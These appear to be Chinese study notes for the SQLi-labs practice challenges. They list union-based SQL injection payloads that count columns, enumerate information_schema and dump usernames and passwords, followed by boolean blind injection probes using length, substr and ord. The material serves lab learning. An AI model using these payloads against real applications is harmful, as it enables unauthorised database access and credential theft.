order by 4 --+ 判断有多少列 union select 1,2,3 -- - 判断数据显示点 union select 1,user(),database() --+ 显示出登录用户和数据库名 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3 -- - 查看数据库有哪些表 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- - 查看对应表有哪些列 union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3 --+
闯关
前4关使用 Union
第5关
Boolean 注入攻击
length(database())>=1,判断当前数据库长度是否>=1,正确输出1,错误输出0 substr(database(),1,1)='s',判断当前数据库的第一个字母是否为s,正确输出1,错误输出0,substr的作用是截取长度(可以使用Burp suit 进行枚举查询) ord(substr(database(),1,1))=115,转ASCII码判断,正确输出1,错误输出0 substr((select table_name from information_schema.tables where table_schema='A' limit 0,1),1,1)='e',判断A库下面第一张表的第一个字母是否为e,正确输出1,错误输出0 substr((select column_name from information_schema.tables where table_name='B' limit 0,1),1,1)='e',判断B表下面的第一个字段的第一个字母是否为e,正确输出1,错误输出0 substr((select C from A.B limit 0,1),1,1)='e',判断C字段下面的第一个值的第一个字母是否为e,正确输出1,错误输出0